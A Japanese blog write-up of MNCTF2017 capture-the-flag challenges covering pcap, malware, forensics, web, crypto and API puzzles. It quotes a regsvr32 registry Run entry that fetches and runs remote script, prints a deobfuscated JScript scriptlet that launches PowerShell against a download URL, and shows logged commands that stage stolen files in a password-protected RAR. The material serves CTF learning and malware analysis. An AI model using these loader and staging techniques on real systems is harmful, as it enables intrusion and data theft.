f:id:kusuwada:20180906000853p:plain

MNCTF2017を後追いでやってみた

先月MNCTFの存在を知り、2018年の問題を後追いでやってみたところ、とても勉強になったのと、過去問が全部公開されているということだったので、今度は2017年の問題を今更ながらやってみました。

f:id:kusuwada:20180812033613p:plain

2018年をやったときの記事はこちら。MNCTFの概要とか書いていました。

kusuwada.hatenablog.com

MNCTF

練習問題 ☆☆☆ MISC 1

問題

「MNCTF」がフラグとなります。

解答

MNCTF

一瞬どこに回答するか分からなかったけど、問題ページのトップに解答欄があった。
全部の問題の回答をここに投げるらしい。練習問題あってよかった。

昇進試験 ☆☆★ MISC 60

問題

情シス担当のてしがわら君はにしどの部長から、新聞に載っているクロスワードを渡されました。Linuxのコマンドのクロスワードを解いてください。 
[クロスワード](http://mnctf.info/mnctf2017/task/cross/)

クロスワード、のところがリンクになっていて、リンク先にクロスワードがあります。

f:id:kusuwada:20180806001736p:plain

解答

ヨコのカギ

2

# ***** 666 user-password.csv

これは chmod

4

# ****** 8
8: 2 2 2
# ****** 34
34: 2 17
# ****** 11
11:11

素因数分解するコマンドかな。 factor

7

# ******
 02:52:56 up 16:24, 2 users, load average: 0.45, 0.37, 0.39

知らなかった。load average でググったら出てきた。 uptime

タテのカギ

1

# ******
systemd┬ModemManager┬{gbus}
       │            └{gmain}
       ├NetworkManager┬2*[dhclient]
       │              ├{NetworkManager}
・・・

あれ、 tree じゃないの?(6文字)
よく見てみると、ディレクトリやファイルじゃなくてプロセスっぽい名前が。
プロセスのtree表示コマンドというのがあるらしい。 pstree

2

# *** -3 -d 2020-07 -H 2020-07-24
カレンダーっぽいの

カレンダー表示するコマンド cal

3

# **** user-password1.csv user-password2.csv
4c4
< kenzo,ru5514
---
> kenzo,APThunter

その前のcatコマンドで両ファイルが出力されており、その差分が表示されているので diff

5

# cat user-password.csv | ****** -s ',' -t
name        password
teshigawara iloveseio
yamazaki    metalordie
...

これは知らなかった。入力を表形式に変換するコマンドがあるらしい。column

6

# *** 02:40:55 up 16:12, 2 users, load average: 0.20, 0.52, 0.46cu
~中略~
PID     USER    PR  NI  VIRT    RES     SHR     S   %CPU    MEM TIME+   COMMAND
5626    root    20  0   25692   2940    2440    R   0,3     0.1 0:00.03 *** 

これはよく使うやつ。top

全部埋めると、ひっそりと上の方にflagが出現。

通信記録 ☆☆★ NETWORK 80

問題

株式会社マクニキで基幹サーバが乗っ取られるという事件が発生しました。情シス担当のてしがわら君は侵入されたサーバのパケットキャプチャを見ていました。脆弱性を突かれて侵入されたようです。
パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。

パケットキャプチャがダウンロードできる。デカイ。

解答

ざーーっと眺めてみるが、なにせ大きすぎてどこを見たらよいかわからない・・・。
きっとなにかツールが有るはず、と早々に諦めてツール探しの旅に。

www.virustotal.com

なんと、こちらのサイトでパケットキャプチャファイルを突っ込むと解析してくれるらしい。1年前の問題なので、きっとDB的には何かしら引っかかるに違いない。

投げてみると、こんな結果。

f:id:kusuwada:20180811185758p:plain

Win32:WannaCry-C [Tri] というのが検出された。問題は、

突かれた脆弱性の名前を答えてください

とのことだが、WannaCryはマルウェア名。WannaCryの利用する脆弱性を調べると

FireEye:WannaCryマルウェアのプロファイル

このマルウェアは、Shadow Brokersにより2017年4月14日にリリースされたエクスプロイト (コードネーム「EternalBlue」) を利用します。

ということで、 EternalBlue を入れてみると正解!
EternalBlueって超絶かっこいい。。。

不審起動☆★★ MALWARE 80

問題

情シスのてしがわら君の端末から不審なレジストリが見つかりました。このレジストリにより、不審なスクリプトが実行されるそうだが、そのスクリプトの通信先のFQDNを答えてください。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"

解答

問題文にあるURLにアクセスしてみる。

https://pastebin.com/raw/8CUEUgix

すると、難読化された js ファイルが出てくる。

javascript 難読化 解読、とかでググると、下記のようなサイトでオンライン解読できることがわかる。

Online JavaScript beautifier

Javascript Viewer, Beautifier and Formatter, Editor

DirtyMarkup Formatter - HTML, CSS, & JavaScript Beautifier

いやぁ、クライアント開発時に難読化してるかチェック項目も受けてたりするけど、こんなにカジュアルに解読できちゃうのね・・・。少なくともセキュリティ項目としてはあまり効果がないのかもしれない。

今回は1つ目のサイトを使って解読してみました。

<?XML version="1.0"?>
    <scriptlet>
        <registration progid="CLASS" classid="{F3011114-0000-0000-0000-4030F1ED1CDB}">
            <script language="JScript">
                < ![CDATA[
~~ 中略 ~~

                    function is_ps_installed() {
                        pspath = wshel[_0xd5bd('0x17')](_0xd5bd('0x18'));
                        if (fso[_0xd5bd('0x19')](pspath)) {
                            return pspath;
                        } else {
                            pspath = wshel[_0xd5bd('0x17')](_0xd5bd('0x1a'));
                            if (fso[_0xd5bd('0x19')](pspath)) {
                                return pspath;
                            }
                        }
                        return null;
                    }
                    try {
                        var i = 0x258;
                        alert(i['\x74\x6f\x50\x72\x65\x63\x69\x73\x69\x6f\x6e'](0x1f40));
                    } catch (_0x801862) {
                        try {
                            url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74';
                            showexec = 0x0;
                            wshel = new ActiveXObject(_0xd5bd('0x1b'));
                            fso = new ActiveXObject(_0xd5bd('0x1c'));
                            if (is_ps_installed() && is_dotnet_installed()) {
                                wmi_create_process(pspath + _0xd5bd('0x1d') + url + '\x2f\x70\x31\x27\x29\x29', showexec);
                            }
                        } catch (_0x5babc9) {}
                    }
                ]] >
            </script>
        </registration>
    </scriptlet>

最後の方に、

url = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x6d\x74\x69\x70\x2e\x6d\x61\x63\x6e\x69\x63\x61\x2e\x6e\x65\x74';

とurlっぽい変数を見つけたので、これをhex⇒文字列にdecode。
これもオンラインサービスでdecodeしました。

文字コード変換 WEBアプリケーション、フリーCGI配布 ---ahref.org

変換すると下記の文字列が。

https://mtip.macnica.net

ということで、このFQDN部分を回答すればOK。

脅迫文書 ☆☆★ MISC

問題

脅迫文書☆☆★
MISC 90

株式会社マクニキの外部向けのCSIRTチームのメーリングリストに脅迫文のようなメールが届きました。CSIRT唯一のメンバーであるてしがわら君は社長のいけだ君に相談すべきか、悩んでいます。

We had stolen all of your accounts of the Makuniki server and we will publish it.
The only way to stop us, is to pay 1.00 BTC to 19cMxCa81RD9D6s5xTmELaXzM6xgy5hcSf.
We uploaded a partial data to proof what we have.

攻撃者の言っていることが本当か、調査してください。

と、写真。

f:id:kusuwada:20180806001742j:plain

てしがわら君、唯一のCSIRTメンバーなんや。。。頑張れ・・・!

解答

とりあえず、メモにあるURLに手に入れた情報の一部をアップしているそうなので、確認しにアクセスを試みる。

http://nzxj65x32vh2fkhk.onion/phcgnxm6j/4xvucf

おお、.onion アドレスだ!
下記、「スプラウト公式非公認ブログ ピンク・ハッカー」をワクワクしながら読んだものの、勇気がなくてまだ一度も接続したことがなかったのでした・・・。
そして思い出すhagexさん・・・。めっちゃ楽しみにしてたけど、もうこのブログも更新されないのかなぁ。

www.pinkhacker.com

ということで、早速 Tor Browser を下記サイトからDL。

Tor Browser

そう言えばちょうど一年前頃、全然別の目的で「IPアドレスを自由に変えてリクエストを投げられないか」と新人さんと話していたら、このTorを入れて社内で使おうとして、社内のセキュリティ部の人が飛んで来たというオモヒデがある・・・。

Tor Browserを立ち上げて、上記サイトにアクセスするとこんなのが表示された。

f:id:kusuwada:20180806001751p:plain

パスワードを求められたので、紙切れの下の方に書いてあった文字列を入れてみる。
と、入れた。こんなページが表示された。答えもここに書いてありました。

f:id:kusuwada:20180806001759p:plain

Torって知ってる?っていう趣旨の問題だったのかな。
ちなみに、解説では onion.to にしてアクセスすると通常のブラウザからでもアクセスできるとあったので後でChromeでやってみたが、時間がめちゃくちゃかかったので中断。本当にアクセスできるかは見届けられなかった・・・。

攻撃痕跡☆☆★ FORENSICS 100

問題

株式会社マクニキでマルウェア感染事件が発生しました。導入したてのEDR(Endpoint Detection & Response、エンドポイント対策)ツールのログおよび、感染端末から押収した攻撃者が残したと思われるファイルがあります。迅速に対応したため、被害はないと情シスのこばやし君は思ったが、これらを解析し、盗まれたファイルの中で最も重要と思われるファイルの名前(拡張子なし)を答えてください。
・EDRのログファイル
・攻撃者が残したファイル(パスワードは「infected」)

盗まれたファイルの中で最も重要と思われるファイルの名前

ふわっとした依頼だが、答えが出てくるんだろうか?

解答

攻撃者が残したファイル(artifact.zip)とログファイル(EDR_LOG.csv)を開いてみる。
artifact.zipの中身はこんな感じ。

$ file artifact/*
Get-PassHashes.ps1:  ASCII text, with very long lines
GoogleUpdate.ba_:    DOS batch file text, ASCII text, with CRLF line terminators
GoogleUpdate.ex_:    PE32 executable (console) Intel 80386, for MS Windows
Update.dat:          data
jvm.dat:             RAR archive data, flags: EncryptedBlockHeader
jvm.dll:             PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
networkprotocol.nls: data
sam.hive:            MS Windows registry file, NT/2000 or above
sqlite.ex_:          PE32 executable (console) Intel 80386, for MS Windows
system.hive:         MS Windows registry file, NT/2000 or above
vcredist.ex_:        PE32+ executable (console) x86-64, for MS Windows

実行ファイルは色々対策で拡張子の末尾がアンスコに変えてあるのかしら?
ログファイル(CSV)のほうは3.8MBもある。大きい。ログファイルのフォーマットは、

Time(UTC), HostName, UserName, Parent PID, PID, CommandLine, MD5

となっている。

jvm.dat は上述の通りRARファイルらしいので、とりあえず解凍してみる。解凍できるものはとりあえず解凍!RARファイルをMacで解凍するために、unrarをインストールしておく。

Mac で RAR 拡張子のファイルをコマンドラインから解凍する - unrar

$ unrar e jvm.dat 

UNRAR 5.60 freeware      Copyright (c) 1993-2018 Alexander Roshal

Enter password (will not be echoed) for jvm.dat: 

Checksum error in the encrypted file jvm.dat. Corrupt file or wrong password.
No files to extract

のぉぉん、パスワードが必要なのね。でも一気にこのファイルアヤシイ感。

とりあえずとっかかりがわからないので、ログを確認。上から読んでいってもしょうがない量なので、まずは jvm.dat で検索してみる。

"C:\Program Files (x86)\¥Tencent\¥RTXC\Plugins\bizmailclient\sqlite.exe"  a -m5 -hpFnckyou123 "C:\Program Files (x86)\¥Java¥\jre7\¥bin¥\client¥\jvm.dat" c:¥users¥Administrator¥Desktop¥*.xlsx
"C:\Program Files (x86)\¥Tencent\¥RTXC\Plugins\¥bizmailclient¥\sqlite.exe"  a -m5 -hpFnckyou123 "C:\¥Program Files (x86)¥\Java¥\jre7¥\bin¥\client¥\jvm.dat" c:¥windows¥temp¥*.log 

というログがあった。sqlite.exejvm.dat も配布されてたファイルだ。・・・割とありそうな名前なので、今回は付されたのと同じやつのことかはわからないけど。
なんかパスワードっぽいので hpFnckyou123 を入れてRAR解凍を試みるも違うらしい。 -hpFnckyou123pFnckyou123 も違うらしい・・・。詰んだ・・・。

ここで他の方のwrite-upを見てみる。
いろんなたどり着き方があるんだなぁと楽しく読んでいると、こんな解説を発見。

このコマンドラインを見ると -hp オプションの後に続けて何やら良からぬ文字列が続いています。 これは RAR の Hidden Password を付けるコマンドオプションだと気づけば、以下の点が判明するはずです。

MNCTF2017 WriteUp より

おお。全く知らなかったよ。
ちなみに公式ページで確認したら、すごい階層深いところにあった。。。

WinRAR manual > Command line mode > Switches > "-hp[pwd]"

2文字分がoptionで、しかもスペース無しで値が来るとは思っても見なかった。ので、パスワードは Fnckyou123。これで vm.dat を解凍すると

2017want.xlsx:       Microsoft Excel 2007+
MpCmdRun.log:        Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
MpSigStub.log:       Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
serverpassword.xlsx: Microsoft Excel 2007+

4つファイルが出てきた。それぞれ中身を確認すると、

  • 2017want.xlsx: なんかほしい物リストっぽい
  • MpCmdRun.log: ログファイル。特に重要そうな情報なし
  • MpSigStub.log: 同上
  • serverpassword.xlsx: タイトルからしてヤバそう。host, user, passwordのセットが12個ほど。

ということで、serverpassword を入れてみると、正解。

先程のwrite-up中に

なお、情報流出事案においては、攻撃者はファイル圧縮ツールとして RAR を多用することが知られているので、そこを考慮しつつ、アプローチを検討します。

とあった。これも知らんかった。そもそも普段の仕事・開発でRARに触れることが皆無。Windows使ってときは時々ゲームファイルとかRAR形式で置いてあった記憶。
RARコマンドはもう少し慣れておいたほうがセキュリティ周りでは良いのかもしれない。

賭博遊戯☆★★ WEB 100

問題

株式会社マクニキは多角経営の道を進むべく、カジノゲームの開発に着手していた。開発者も兼任していたてしがわら君は脆弱性に気づきつつも、強固な難読化を施し、脆弱性を隠ぺいしました。
難読化を解かずに、「所持金」が37337になるようにしてください。
※表示上なっても正解とはなりません。
[ShinoCasino](http://mnctf.info/mnctf2017/task/shinocasino_ob2.html)

解答

リンクのサイトに飛ぶと、

持ち金:100 BTC 第1ゲーム
サイコロの出目を当ててください。

という文章と、予想(選択式)、掛け金(選択式)のセレクトフィールドと、BETボタンが。

f:id:kusuwada:20180808142539p:plain

一旦遊んでみる。

f:id:kusuwada:20180808142531p:plain

こんな感じで、外れたら掛け金分引かれ、当たれば掛け金×5 がもらえるようです。
「勝て」とか「所持金を〇〇以上にせよ」ではないので、このまま遊び続けても条件を満たせる日は永遠に来ないでしょう・・・。

ということで、まずはソースを見てみます。難読化されているらしいけど。
Chromeだと、「表示 > 開発 / 管理 > ソースを表示」で出てきます。

<html>
<head>
<title>ShinoCasino</title>
<script>

var diceArray=[];
var _0xcddf=['\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x29','\x69\x74\x65\x6d','\x61\x74\x74\x72\x69\x62\x75\x74\x65','\x65\x76\x61\x6c','\x77\x68\x69\x6c\x65\x28\x74\x72\x75\x65\x29\x7b\x7d','\x5b\x4c\x43\x50\x55\x5a\x77\x6c\x41\x52\x70\x72\x4f\x61\x59\x6b\x61\x58\x7a\x4c\x6b\x4f\x49\x61\x64\x4b\x54\x5d','\x6d\x4c\x43\x50\x6e\x55\x5a\x63\x77\x6c\x41\x52\x70\x72\x74\x66\x2e\x4f\x61\x59\x6b\x61\x69\x58\x7a\x4c\x6b\x6e\x66\x6f\x4f\x49\x61\x64\x4b\x54','\x73\x70\x6c\x69\x74','\x66\x6f\x72\x45\x61\x63\x68','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72','\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73','\x66\x46\x67','\x6c\x65\x6e\x67\x74\x68','\x51\x48\x6d','\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74','\x4a\x7a\x43','\x7a\x54\x73','\x6a\x54\x57','\x61\x43\x68','\x31\x7c\x34\x7c\x33\x7c\x32\x7c\x30','\x69\x6e\x64\x65\x78\x4f\x66','\x6c\x45\x66','\x76\x4e\x72','\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29','\x54\x4f\x57','\x63\x6f\x6e\x73\x6f\x6c\x65','\x77\x61\x72\x6e','\x64\x65\x62\x75\x67','\x65\x72\x72\x6f\x72','\x74\x72\x61\x63\x65','\x69\x6e\x66\x6f','\x65\x78\x63\x65\x70\x74\x69\x6f\x6e','\x6c\x6f\x67','\x6d\x48\x6c','\x64\x65\x62\x75\x67\x67\x65\x72','\x75\x49\x50','\x5a\x75\x53','\x61\x70\x70\x6c\x79','\x49\x44\x79'];(function(_0x538a27,_0x2e540c){var _0x3116fb=function(_0x3f3a6c){while(--_0x3f3a6c){_0x538a27['\x70\x75\x73\x68'](_0x538a27['\x73\x68\x69\x66\x74']());}};var _0x4c271d=function(){var _0x556e1e={'\x64\x61\x74\x61':{'\x6b\x65\x79':'\x63\x6f\x6f\x6b\x69\x65','\x76\x61\x6c\x75\x65':'\x74\x69\x6d\x65\x6f\x75\x74'},'\x73\x65\x74\x43\x6f\x6f\x6b\x69\x65':function(_0x4b5a90,_0x1b1247,_0x1c6d85,_0x282c97){_0x282c97=_0x282c97||{};var _0x577fc8=_0x1b1247+'\x3d'+_0x1c6d85;var _0x33b6f7=0x0;for(var _0x33b6f7=0x0,_0x4fcedb=_0x4b5a90['\x6c\x65\x6e\x67\x74\x68'];_0x33b6f7<_0x4fcedb;_0x33b6f7++){var _0x57027c=_0x4b5a90[_0x33b6f7];_0x577fc8+='\x3b\x20'+_0x57027c;var _0xd66837=_0x4b5a90[_0x57027c];_0x4b5a90['\x70\x75\x73\x68'](_0xd66837);_0x4fcedb=_0x4b5a90['\x6c\x65\x6e\x67\x74\x68'];if(_0xd66837!==!![])
...

ってな感じで、見事に難読化されたページが表示されました。
これを「難読化を解かずに」所持金を操作しないといけないんですね。

まずは、自分の持ち金をどこで管理しているのか探しました。クライアント上で管理されているならば、CookieやLocalCash, Sessionなんかにあるんじゃないかなーと。
Chromeだと、「表示 > 開発 / 管理 > デベロッパーツール > Application」の Storage、DB系を確認。
しかし特にLocalで持っていそうな情報は見当たらず。

そもそもページを更新するとまた1からになるので、SessionやDBなどは使っていないかな。

次に、開発者ツールのデバッグ機能を確認。「デベロッパーツール > Sources」
下記のように、debugポイントがたくさんはられているのか、ステップごとにdebuggerに飛ばされてなかなか解析までたどり着かない・・・。ので、右上の "Step over next function call" (もしくは f10 + fn)を連打して次が出るのを待つ。

f:id:kusuwada:20180808142535p:plain

ソースコードが出てきたら、topの方に var diceArray=[]; という変数があり、そのlocal値をマウスオンすると参照できる。こんな感じ。

f:id:kusuwada:20180808142512p:plain

これで、この回のサイコロの出目がわかる。この出目を参考にやってみたら、勝ち続けることはできた。

f:id:kusuwada:20180808142527p:plain

ただ、37337 に近づくにはこんなちまちました掛け金では何回やったら良いのよ!状態。根性でできなくはなさそうだけど。diceが100しか用意されていないということは、100回で終わりなのかな?また0に戻ってくる可能性もあるけど。
他の変数配列の中に、「これでゲームは終わりです」的な文言も見えたので、終わるのかなぁ。

もうこれは所持金を直接操作するしか無い、ということで、Storageを使っていないならプログラムに変数で現在の所持金を持っているだろうと当たりをつける。
先程のデバッグ機能で、local変数を表示させてバーっとみていくと、あった!現在の所持金を保持しているらしき変数 money を発見。

f:id:kusuwada:20180808142522p:plain

つぎにBetして負けた時に、ちょうど 37337 になるように値を設定して、あとは負ける目を選んで、BET! すると、フラグが出てきました!

f:id:kusuwada:20180808142516p:plain

宛先暗号☆★★ CRYPTO 100

問題

株式会社マクニキのある端末で不審な実行ファイルが検出されました。外部と通信するようなのですが、通信先は記録されていません。てしがわら君はその痕跡のファイルを入手したので、ブロックするためにマルウェアの通信先のFQDNを特定してください。
ファイルをダウンロード
svchost.exe(マルウェア本体)
vm.dat(マルウェアと同じディレクトリにあったファイル)
EDR_log.csv(エンドポイント対策のログ)

ヒント)svchost.exeは単体では動作しないようで、vm.datファイルが必要のようです。

解答

問題文にある3つのファイルがDLしたzipに入っている。
出題範囲がCryptoなので、何かしら暗号関連の問題のようだ。

まずはlogを確認してみる。

Time (UTC)   Host Name   User Name   File Name   PID Command Line    MD5 Parent PID
06/29/2017 09:57:03.316 TESHIGA-PC  LOCAL SYSTEM    googleupdate.exe    372 "C:¥Program Files¥Google¥Update¥GoogleUpdate.exe" /svc  dd7423abbe2913e70d50e9318ad57ee4    644
06/29/2017 09:56:46.266 TESHIGA-PC  LOCAL SYSTEM    googleupdate.exe    5652    "C:¥Program Files¥Google¥Update¥GoogleUpdate.exe" /ua /installsource scheduler  dd7423abbe2913e70d50e9318ad57ee4    5228
06/29/2017 09:56:46.034 TESHIGA-PC  LOCAL SYSTEM    taskeng.exe 5228    taskeng.exe {88BFCD29-2446-404F-B951-2F944CE1CCCB} S-1-5-18:NT AUTHORITY¥System:Service:   4f2659160afcca990305816946f69407    1156
06/29/2017 09:46:43.304 TESHIGA-PC  tessy   imedictupdateui.exe 3748    "C:¥Program Files¥Common Files¥Microsoft Shared¥IME14¥SHARED¥imedictupdateui.exe" "check" 1ad7878f3029fb359c8b47ae3444d0d2    2908
・・・

こんな感じ。全部で870行ある。
File Name が svchost.exe のものをピックアップしてみると、User Nameが LOCAL SYSTEM, NETWORK SERVICE, tessy のものがあることがわかる。

問題文のヒント svchost.exeは単体では動作しないようで、vm.datファイルが必要のようです。 というのと、このログを突き合わせると、 tessy の実行したコマンドが、どうやらexeファイルを動作させるコマンドのようだ。
tessy = てしがわら君?

svchost.exe  abcd vm.dat

ここで、windowsならこのコマンド試してみて、wiresharkかなんかで通信見張っていれば取れる気がするなぁ。。。2018の問題もそういうの多かったよなぁ。。。
今回はlessで実行ファイルの中身見てもurlっぽい文字列無かったしなぁ。。。
なんて思っていたが、この際、夫のwindowsPCも動員してしまえ!と思いたち、やっと重い腰を上げて夫のノートPCを借りて使うことにした。
CTFってwindows環境(VM含め)必須なんだろうか?windows環境無しで戦ってる人っているのだろうか・・・?

ということで、winPCにWireSharkをいそいそとセットアップして、コマンドプロンプト立ち上げて上記のコマンドを打ってみる。

・・・
しーーーん・・・・
・・・
何も出てこないぞ?
人のPCだし、なんかFWかなんかに引っかかってるのかな?そもそも何か実行するための環境が足りてないのかな?WireShark側のセットアップが足りてない?
と色々可能性を考えたものの、winスキル+WireSharkスキルが低すぎて分からず・・・。
無念。

気を取り直して「vm.dat使わなかったらどうなるん?」と素直にコマンドプロンプト

svchost.exe

のみ実行してみる。すると

Must specify <RC4 key> <file>!

と怒られた。なんて親切!
ということは、key: abcd で file: vm.datRC4で暗号化されていると考えられる。
vm.datをRC4で復号してみる。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from Crypto.Cipher import ARC4

key = 'abcd'
with open('vm.dat', 'rb') as f:
    data = f.read()

cipher = ARC4.new(key)
dec = cipher.decrypt(data)
print(dec)

実行結果

$ python rc4_decode.py 
b'shinobot.com\n'

お、なんかめっちゃFQDNっぽいの出てきた!
こっちの解法のほうが Crypto っぽいし、結果オーライ!
しかし、今後に備えてWireSharkスキルを上げたい & WinPC側もセットアップしていきたい・・・。

情報照合☆★★ PROGRAMMING 100

問題

株式会社マクニキにて、マルウェアに感染している端末が見つかりました。契約したばかりのThreat Intelligence(脅威情報)サービス「MiNTEL」を活用することにしました。ファイルのハッシュ値を送るとマルウェア判定をしてくれるAPIベースのサービスなので、てしがわら君は感染端末にあるファイルのハッシュを取得し、APIを利用して、照合しようとしています。

てしがわら君の代わりにハッシュをAPIで照合し、「RAT.A.aa74e」と判定されるハッシュを見つけてください。
[ハッシュリスト](http://mnctf.info/mnctf2017/task/minhashlist.txt)
[MiNTEL API リファレンス(英語)](http://mnctf.info/mnctf2017/task/MiNTEL_API_Reference.pdf)
なお、API KEYは「578459***」です。

解答

問題文の「ハッシュリスト」のリンク先にはこのようなハッシュ値のリストが。

minhashlist.txt

dfa134b71ed7a89a4ac2f03325c096
82800319df0799b38d5eec4d915fc7
cbcb642557766fb8803ae7ce28e377
2169cdf2e557bbba139790bd1ddfa1
20aec25af4301a3816d9a4acba5c96
f63db975efe635c2b99a542759f649
5bd8da91f02b97e8448fe02f3b1efb
8e490b957ae9672963f1498180e26f
・・・

1000行あった。

MiNTEL API リファレンスの先には、MiNHASHの仕様書が落ちていた(PDF)。
どうやらHashの計算はオンラインのAPIで公開されているらしい。

ということで、ただただ仕様書を読んで、hashのlistの中から条件に合うhashを探すプログラムを書く。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import json

gt_url = 'http://157.7.53.197/intel/gettoken/'
qy_url = 'http://157.7.53.197/intel/query/'
api_key = '578459a***'

minhashlist = []

with open('minhashlist.txt', 'r') as f:
    for line in f:
        minhashlist.append(line.split('\n')[0])

### get token
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'key=' + api_key
res = requests.post(gt_url, headers=headers, data=payload).json()
token = res['token']
print(token)

### check minhash
headers['X-TOKEN'] = token

for h in minhashlist:
    print(h)
    payload = 'hash=' + h
    res = requests.post(qy_url, headers=headers, data=payload).json()
    if res['detection_name'] == 'RAT.A.aa74e':
        print('MATCHED!!! hash: ' + h)
        break 

んで回してみると、どーにもこーにもサーバーからの応答速度が遅い!!1判定に1秒くらいかかっている。
これではいかん、ということでマルチスレッド化することに。
※ 1スレッドでぶん回しても1000秒 = 20分かからない計算なので、マルチスレッド化するのと追加実装、どっちが早いか微妙なとこではある。

まずは、処理するファイルを予め分割しておく。今回は50行ごとに分割。

$ split -l 50 minhashlist.txt minhashlist.
$ ls
minhashlist.aa minhashlist.ae minhashlist.ai minhashlist.am minhashlist.aq
minhashlist.ab minhashlist.af minhashlist.aj minhashlist.an minhashlist.ar
minhashlist.ac minhashlist.ag minhashlist.ak minhashlist.ao minhashlist.as
minhashlist.ad minhashlist.ah minhashlist.al minhashlist.ap minhashlist.at
minhashlist.txt

minhashlist.aa ~ minhashlist.at までできた。
あとは上のコードをマルチスレッド化。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests
import json
import threading
import string

gt_url = 'http://157.7.53.197/intel/gettoken/'
qy_url = 'http://157.7.53.197/intel/query/'
api_key = '578459a***'
thread_num = 1000 // 50
alphabet = list(string.ascii_lowercase)

def check_minhash(file_name, token):
    ### read hash file
    minhashlist = []
    with open(file_name, 'r') as f:
        for line in f:
            minhashlist.append(line.split('\n')[0])
    ### check minhash
    headers['X-TOKEN'] = token
    for h in minhashlist:
        print(h)
        payload = 'hash=' + h
        res = requests.post(qy_url, headers=headers, data=payload).json()
        if res['detection_name'] == 'RAT.A.aa74e':
            print('MATCHED!!! hash: ' + h)
            break     

##########
## main ##
##########

### get token
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = 'key=' + api_key
res = requests.post(gt_url, headers=headers, data=payload).json()
token = res['token']
print(token)

### check_minhash with threads
threads = []
for t in range(thread_num):
    file_name = 'minhashlist.a' + alphabet[t]
    threads.append(threading.Thread(target=check_minhash, args=(file_name, token,)))
    threads[t].start()

男らしくエラー処理一切なし、決め打ち部分も多いけど、今回使えればOK!ということでこんな感じ。 実行してみると、5分かからずに出てきた!

MATCHED!!! hash: eef6b47cc2c1fbfbdbcb90f6376416

脆弱会話★★★ EXPLOIT 100

は、問題文を読むに苦手&あまり興味がないジャンルだったのでパス。

まとめ

感想

2018年と違って続き物がなかったので、途中で詰まっても他の問題に手がつけられるのが良かった。ただ、どの問題もそれなりに手応えがあったので、サクサク解ける感じでは無かった。
今の自分にちょうどよい難易度で、大変勉強になった。他の方のwrite-upももう少し読み込みたい。特に WireShark 使い倒して解いてるやつとか。

使えるオンラインサービスたち

  • 疑わしいファイルや URL を分析するオンラインサービス。パケットキャプチャファイルにも対応。

www.virustotal.com

  • JSやHTMLの整形・unpack・難読化解除のオンラインサービス

Online JavaScript beautifier

文字コード変換 WEBアプリケーション、フリーCGI配布 ---ahref.org

参考にさせていただいたwrite-upのリンク